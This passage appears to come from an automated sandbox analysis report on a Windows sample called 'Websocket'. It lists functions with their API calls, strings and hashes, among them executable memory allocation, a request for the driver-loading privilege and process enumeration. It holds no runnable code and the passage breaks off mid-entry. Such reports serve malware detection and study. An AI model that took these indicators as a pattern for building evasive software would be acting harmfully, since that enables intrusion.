Instruction Fuzzy Hash: D131F471B143104BDB689B69A851AEB32D7ABC8750F4D442FB442CB360D974CD858BA1

Function 0041025B Relevance: 4.6, APIs: 3, Instructions: 58
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FF_MSGBANNER.LIBCMT ref: 00410274

Part of subcall function 00412A13: __NMSG_WRITE.LIBCMT ref: 00412A3A
Part of subcall function 00412A13: __NMSG_WRITE.LIBCMT ref: 00412A44

__NMSG_WRITE.LIBCMT ref: 0041027B

Part of subcall function 00412864: GetModuleFileNameW.KERNEL32(00000000,0041F722,00000104,00000001,00000000,?), ref: 00412900
Part of subcall function 00412864: __invoke_watson.LIBCMT ref: 00412929
Part of subcall function 00412864: _wcslen.LIBCMT ref: 0041292F
Part of subcall function 00412864: _wcslen.LIBCMT ref: 0041293C

Part of subcall function 0041257E: ___crtCorExitProcess.LIBCMT ref: 00412586
Part of subcall function 0041257E: ExitProcess.KERNEL32 ref: 0041258F

Part of subcall function 00411E2C: __getptd_noexit.LIBCMT ref: 00411E2C

RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00413CED,?,00000001,?,?,004147E0,00000018,0041BE58,0000000C,00414870), ref: 004102A0

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: ExitProcess_wcslen$AllocateFileHeapModuleName___crt__getptd_noexit__invoke_watson
String ID:
API String ID: 4285633346-0
Opcode ID: 85379f81ff0939ec83c584100c10549c30d19fa7ca46aaa6a850a0ef7457cf0a
Instruction ID: 7e8d332be424b32aeb7339ed39cdb599a77868d368d5d78e5393627917a903ca
Opcode Fuzzy Hash: 85379f81ff0939ec83c584100c10549c30d19fa7ca46aaa6a850a0ef7457cf0a
Instruction Fuzzy Hash: 7401B535244301AAE22177B6BC56BEB3748AF81378F20007BF505962E1DAFC8CD5826D

Function 00613060 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00000220), ref: 006131CB

Strings

p^6w, xrefs: 006131BE

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: p^6w
API String ID: 1279760036-1797523920
Opcode ID: 9cc57feeb7c3e69f2414265ec16f46ea251e3d1244b090e51a8204ab6576f9b3
Instruction ID: 1b02b47bfaf2d5286ea4a51cce5270a1a73a26dc38cca3008b6f40b43b68e92b
Opcode Fuzzy Hash: 9cc57feeb7c3e69f2414265ec16f46ea251e3d1244b090e51a8204ab6576f9b3
Instruction Fuzzy Hash: DE51C471B043118BDB58DF6894955EEBBE2ABD8340F18892EF447C7350DB30DE8A8792

Function 00619BF0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 88threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,00619860,00000000,00000000,00000000,33A6B453,00616695), ref: 00619D11

Strings

p^6w, xrefs: 00619C45, 00619C64

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID: p^6w
API String ID: 2422867632-1797523920
Opcode ID: f84486140e83c6c7cbae18918cac13ea11ec0da0d6b002cab4877abaca9da015
Instruction ID: 4be169de99d358ef2d922bf6127ee7e8bd10c34e58ec6b9ec947573df4d06db9
Opcode Fuzzy Hash: f84486140e83c6c7cbae18918cac13ea11ec0da0d6b002cab4877abaca9da015
Instruction Fuzzy Hash: 57215E70B403005BDBA89B355D22BEA32D36B94B00F1C842FB546DF7D0EA31DD418B95

Function 006145C0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

QueryFullProcessImageNameW.KERNELBASE(00000000,00000000,?,33A6B453), ref: 0061462F

Strings

.v, xrefs: 00614633, 00614652

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: FullImageNameProcessQuery
String ID: .v
API String ID: 3578328331-2572790428
Opcode ID: c481d70da30b05dd9cc4e151c4b4effcf81ebf46755526d22e70a33a2f9e5c88
Instruction ID: e64ca5bd4abfcc58d05b6ba3d0723a688b8b691b7a89506911c33b34e0822ded
Opcode Fuzzy Hash: c481d70da30b05dd9cc4e151c4b4effcf81ebf46755526d22e70a33a2f9e5c88
Instruction Fuzzy Hash: 0101ADB1B052201BD794AB79AC01EEB669B9FC4B55B1D402EB506CB390EE34CD814390

Function 00615410 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 006154B1

Strings

P4v, xrefs: 00615477, 00615496

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID: P4v
API String ID: 2039140958-1107188653
Opcode ID: 60f764c9cef8e689ef5fa71d40ea95ce8454db267e11fd7de0749888cadb22f2
Instruction ID: 7be8a3f5d72b219152b8e31b755d4e4ce4691babdb6405a4921123964f90835e
Opcode Fuzzy Hash: 60f764c9cef8e689ef5fa71d40ea95ce8454db267e11fd7de0749888cadb22f2
Instruction Fuzzy Hash: 64110C706007009BE764EB60C846BEAB3F6AF94701F9C881DA556CB2D0EBB8D9C5C756

Function 006141C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00000050), ref: 00614214

Strings

p^6w, xrefs: 006141EC, 0061420B

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: p^6w
API String ID: 1279760036-1797523920
Opcode ID: 847572725a331997d28623c202b283d5d8155e63dd5f59030540aa9b3d0d6e83
Instruction ID: 69c71e376edb4998587d9fa95d3ee63163a35d2910d60dbbcb641e36d1b79ebd
Opcode Fuzzy Hash: 847572725a331997d28623c202b283d5d8155e63dd5f59030540aa9b3d0d6e83
Instruction Fuzzy Hash: 8FE03021F403505B9B94A7B9A8459EE26A76FC8B0074C842BB405CB390EE348D424B91

Function 0040EC40 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 0040EC7E

Strings

tGeKa2B%k9F<3!6T*a>U%*s(fc>&tKC@3cQGhibVLni4I3u>F, xrefs: 0040EC93

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: AllocVirtual
String ID: tGeKa2B%k9F<3!6T*a>U%*s(fc>&tKC@3cQGhibVLni4I3u>F
API String ID: 4275171209-1198268820
Opcode ID: 3b538efd8d0877daca6c9ed735cc7399334d432909fa35e9c6d7cd521d04529b
Instruction ID: 01d0f4e730c09718d0011088008fc3b8b73f4a900f8981e618274441f709c89d
Opcode Fuzzy Hash: 3b538efd8d0877daca6c9ed735cc7399334d432909fa35e9c6d7cd521d04529b
Instruction Fuzzy Hash: 9EF046B5A846203BF22157258C0AFAF7E68CB84B50F544528FE046A2C0D7B89A0182DE

Function 00731D10 Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3637741644.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00731000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_731000_Websocket.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75a1b7a7a6438216b2186a6c390a153a86880d5073630250062985e5924fd960
Instruction ID: c2e5a26e3691d19ce010ec0e9767793a4364f0c0a84ba09c837aca7d76225502
Opcode Fuzzy Hash: 75a1b7a7a6438216b2186a6c390a153a86880d5073630250062985e5924fd960
Instruction Fuzzy Hash: 7A419774A10109AFEB04CF54C494BAAB7B2FB88314F64C199E8195F356C779EE82CB80

Function 00616CD0 Relevance: 1.5, APIs: 1, Instructions: 45libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,33A6B453,00616F05,?,33A6B453,006168AC), ref: 00616D00

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: aeeb888ef0dc69756414754748205e5a0b49ecf6f37ee8a4fdc93afb2f94b495
Instruction ID: eb862305534769d921f1bac1307ecd5018e250b7f9702cb7f0b398ee91163df2
Opcode Fuzzy Hash: aeeb888ef0dc69756414754748205e5a0b49ecf6f37ee8a4fdc93afb2f94b495
Instruction Fuzzy Hash: 8E014F34B003504BC794AB79A851AEB36E7AFC460070C842FB506CB3A1EA34DD424B94

Function 00619878 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindFirstChangeNotificationW.KERNELBASE(?,00000000,00000001), ref: 006198DB

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: ChangeFindFirstNotification
String ID:
API String ID: 1065410024-0
Opcode ID: 874f0bae95bec1eacc342eb46230d74d4bbd7d8ee1198fa0ef0d72ce5cd718d4
Instruction ID: ea092e2bf288304ba1f8e9a653069d6894e7ba570bca7b9fdc6ebc92381600af
Opcode Fuzzy Hash: 874f0bae95bec1eacc342eb46230d74d4bbd7d8ee1198fa0ef0d72ce5cd718d4
Instruction Fuzzy Hash: 68018630A0034597CBB8DB7558A6BEA32A7AB98740F1C4C1EF946C7360EB35CDC19766

Function 00614BA8 Relevance: 1.5, APIs: 1, Instructions: 28processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,?), ref: 00614C02
Process32FirstW.KERNEL32(?,0000022C), ref: 00614C60

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: CreateFirstProcess32SnapshotToolhelp32
String ID:
API String ID: 2353314856-0
Opcode ID: 44ad3fc9c473b854154963280b1e704f359749fec1c3a65bab715e04b1f45a1f
Instruction ID: b76c77aef2f8355c55b1e7c5f4625b6008d818d886863aeeb348a7811734cb22
Opcode Fuzzy Hash: 44ad3fc9c473b854154963280b1e704f359749fec1c3a65bab715e04b1f45a1f
Instruction Fuzzy Hash: 04F09B7071525057D678667C588B7F912835745710F2C491AE555E73F0FE31DCC187D1

Function 007327B0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 007327D9

Memory Dump Source

Source File: 00000002.00000002.3637741644.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00731000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_731000_Websocket.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 51878fb2a1c5fb1b7f3aa0b0adae3dc0b55a3c72d4b2339b61c58abb1e390c61
Instruction ID: 4124ca63550c8d03ab08021d43678982b5f26220f8300b8477ff51e15decb775
Opcode Fuzzy Hash: 51878fb2a1c5fb1b7f3aa0b0adae3dc0b55a3c72d4b2339b61c58abb1e390c61
Instruction Fuzzy Hash: 7DD09EB4D40208FFE748EFA4DA4AB5DBBB4EB04706F508165E90497281E7746B44CB56

Function 00731820 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 0073182F

Memory Dump Source

Source File: 00000002.00000002.3637741644.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00731000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_731000_Websocket.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: edd2763ed153eaf6052808db2e01758c8a1b456fd169d7e3e9ac4fe4ebab5eab
Instruction ID: 6057d2d6f7e46738dfa9a77c2a25436fbfb7f671643b38d211c6f5ff6480ba0a
Opcode Fuzzy Hash: edd2763ed153eaf6052808db2e01758c8a1b456fd169d7e3e9ac4fe4ebab5eab
Instruction Fuzzy Hash: BFC04C7A11420CAB8B04DF98EC84DAB37ADBB8C611B04C508BA1D87200C634F9108BA5

Non-executed Functions

Function 0040E220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 0040E22E
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 0040E23B
LookupPrivilegeValueW.ADVAPI32(00000000,SeLoadDriverPrivilege,?), ref: 0040E24D
AdjustTokenPrivileges.ADVAPI32 ref: 0040E28B

Strings

SeLoadDriverPrivilege, xrefs: 0040E246

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID: SeLoadDriverPrivilege
API String ID: 2349140579-497486668
Opcode ID: cffa3139d4f1966d0e1b8d4b561fce07a712f7e5228b86654aafc6df663748c5
Instruction ID: 6ea790c7a31b1ba1ad77907437152988263291b3601ce40a83fb03ebe5ecb5a6
Opcode Fuzzy Hash: cffa3139d4f1966d0e1b8d4b561fce07a712f7e5228b86654aafc6df663748c5
Instruction Fuzzy Hash: D301DAB4548301AFD704DF50C999F9BBBE4AB8CB08F40891DF58A862A0E774E948CB56

Function 004100FB Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041212A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041213F
UnhandledExceptionFilter.KERNEL32(0041989C), ref: 0041214A
GetCurrentProcess.KERNEL32(C0000409), ref: 00412166
TerminateProcess.KERNEL32(00000000), ref: 0041216D

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 6f2c9a2ca4667ff0c482e712aad0c8141d9414460f1110707eeb279986343969
Instruction ID: b5dc470c48336d2cad9fc5f7ad5caf64c585ac90b15cfe1187e4ee1c5b5d9eed
Opcode Fuzzy Hash: 6f2c9a2ca4667ff0c482e712aad0c8141d9414460f1110707eeb279986343969
Instruction Fuzzy Hash: 8C21DBB4911204EFD700DF69EC896C63BB4BB6C315F50803AE90A87372E7B4598A8F1D

Function 00612210 Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

l, xrefs: 006122F2

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID:
String ID: l
API String ID: 0-2517025534
Opcode ID: b540197c04a4096c67bc52c6181e49dc103387498643872b5df22096f0c2060f
Instruction ID: be33586da93aa639825344dfbc8d9ed1cfe7aa8acb0ac371483907cf1c7f3d96
Opcode Fuzzy Hash: b540197c04a4096c67bc52c6181e49dc103387498643872b5df22096f0c2060f
Instruction Fuzzy Hash: FE91F271A043128BDB14DF64D8A1BEEB7E3ABC8310F0C852EE855DB350DA30DE958B91

Function 00611FA0 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4cb4ceeb99b27d04d461981ad2b3cb14c0d59e97dd2a0673e1abda0e18c0aab
Instruction ID: c120410f2f6f8d4cc9434338543c044b4d6e306a8908c48be494f9ecc57c48b8
Opcode Fuzzy Hash: b4cb4ceeb99b27d04d461981ad2b3cb14c0d59e97dd2a0673e1abda0e18c0aab
Instruction Fuzzy Hash: F851F375600202ABDB24DF689C517EB36E3EB85340F1C852AFA05CF361DB35CD929786

Function 00413A77 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,004109B8), ref: 00413A7F
__mtterm.LIBCMT ref: 00413A8B

Part of subcall function 004137C4: DecodePointer.KERNEL32(00000006,00413BED,?,004109B8), ref: 004137D5
Part of subcall function 004137C4: TlsFree.KERNEL32(00000004,00413BED,?,004109B8), ref: 004137EF
Part of subcall function 004137C4: DeleteCriticalSection.KERNEL32(00000000,00000000,77385810,?,00413BED,?,004109B8), ref: 00414742
Part of subcall function 004137C4: _free.LIBCMT ref: 00414745
Part of subcall function 004137C4: DeleteCriticalSection.KERNEL32(00000004,77385810,?,00413BED,?,004109B8), ref: 0041476C

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00413AA1
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00413AAE
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00413ABB
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00413AC8
TlsAlloc.KERNEL32(?,004109B8), ref: 00413B18
TlsSetValue.KERNEL32(00000000,?,004109B8), ref: 00413B33
__init_pointers.LIBCMT ref: 00413B3D
EncodePointer.KERNEL32(?,004109B8), ref: 00413B4E
EncodePointer.KERNEL32(?,004109B8), ref: 00413B5B
EncodePointer.KERNEL32(?,004109B8), ref: 00413B68
EncodePointer.KERNEL32(?,004109B8), ref: 00413B75
DecodePointer.KERNEL32(00413948,?,004109B8), ref: 00413B96
__calloc_crt.LIBCMT ref: 00413BAB
DecodePointer.KERNEL32(00000000,?,004109B8), ref: 00413BC5
GetCurrentThreadId.KERNEL32 ref: 00413BD7

Strings

FlsAlloc, xrefs: 00413A9B
FlsFree, xrefs: 00413ABD
FlsGetValue, xrefs: 00413AA3
KERNEL32.DLL, xrefs: 00413A7A
FlsSetValue, xrefs: 00413AB0

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3698121176-3819984048
Opcode ID: 7fa4eb56ef05f7034d1ff1bbb87a14009720894ebe7a7eebfb30a0a54c149666
Instruction ID: b88612f9e2fa8c258af8cfdc3785799afccaa31c7b0e2b814971bbd95b978274
Opcode Fuzzy Hash: 7fa4eb56ef05f7034d1ff1bbb87a14009720894ebe7a7eebfb30a0a54c149666
Instruction Fuzzy Hash: 9E31B370904215ABD710AFB9FD096E63FF0AB48765710843BE815D32B1E7799986CF8C

Function 0040F7B0 Relevance: 33.4, APIs: 13, Strings: 6, Instructions: 190windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0040F8A1
ShowWindow.USER32(00000000,00000001), ref: 0040F8BA
SendMessageW.USER32(00000000,0000100C,000000FF,00000002), ref: 0040F901
wsprintfW.USER32 ref: 0040F92B
MessageBoxW.USER32(00000000,System process can't been terminated!,Windows Notification,00000000), ref: 0040F956
SendMessageW.USER32(00000000,0000100C,00000000,00000002), ref: 0040F96B
DefWindowProcW.USER32(?,?,?,?), ref: 0040FA5F

Strings

iPos=%d, xrefs: 0040F925
View My Processes, xrefs: 0040F9AC
Windows Notification, xrefs: 0040F94B, 0040F9F4
View All Processes, xrefs: 0040F991
The application name can't be found. Please make sure whether the name is right!, xrefs: 0040F9F9
System process can't been terminated!, xrefs: 0040F950

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: Message$SendWindow$PostProcQuitShowwsprintf
String ID: System process can't been terminated!$The application name can't be found. Please make sure whether the name is right!$View All Processes$View My Processes$Windows Notification$iPos=%d
API String ID: 4014529712-140908480
Opcode ID: 746f52bec132f143904a4d114beca3bddeb3b89a76c870e33d9bf59fe38b171c
Instruction ID: b9e1b8610fbedb75af30f79fd81a6c46aadfc3012c35c013c55d51da3f45cb0f
Opcode Fuzzy Hash: 746f52bec132f143904a4d114beca3bddeb3b89a76c870e33d9bf59fe38b171c
Instruction Fuzzy Hash: 8061E7B2610201FBD734AB64EC59BE733A4A788300F14893BE556B76D0E738AC4D8B5D

Function 0040F510 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 155processCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 0040F53E
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F548
Process32FirstW.KERNEL32(00000000,?), ref: 0040F58B
CloseHandle.KERNEL32(00000000), ref: 0040F5A2

Part of subcall function 0040E170: GetLastError.KERNEL32 ref: 0040E18D
Part of subcall function 0040E170: FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,00000100,00000100,00000000), ref: 0040E1AE

Strings

%d K, xrefs: 0040F6E7
, xrefs: 0040F5F7
Process32First, xrefs: 0040F594
CreateToolhelp32Snapshot (of processes), xrefs: 0040F558

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: CloseCreateErrorFirstFormatHandleLastMessageNameProcess32SnapshotToolhelp32User
String ID: $%d K$CreateToolhelp32Snapshot (of processes)$Process32First
API String ID: 3266005361-2221559773
Opcode ID: 5abc778807c62ae2baa570d19bc32579730fa3d8dd42b44df11fc9701d9f20bb
Instruction ID: 63f366d3fdf1a23c1a20b758398628cdb4654b08413e4f9ed28baa702ff12125
Opcode Fuzzy Hash: 5abc778807c62ae2baa570d19bc32579730fa3d8dd42b44df11fc9701d9f20bb
Instruction Fuzzy Hash: 6251B671504300ABD324AB64DC52FEB73E8EF84758F44493EF589922C1EB7C9948879B

Function 0040E800 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 76windowCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0040E834
wsprintfW.USER32 ref: 0040E848
wsprintfW.USER32 ref: 0040E85C
wsprintfW.USER32 ref: 0040E870
wsprintfW.USER32 ref: 0040E884
SendMessageW.USER32(?,?,?,00001061), ref: 0040E8EF

Strings

User Name, xrefs: 0040E84A
Description, xrefs: 0040E872
Memory, xrefs: 0040E85E
d, xrefs: 0040E8DF
Process Name, xrefs: 0040E836
Process ID, xrefs: 0040E825

Memory Dump Source

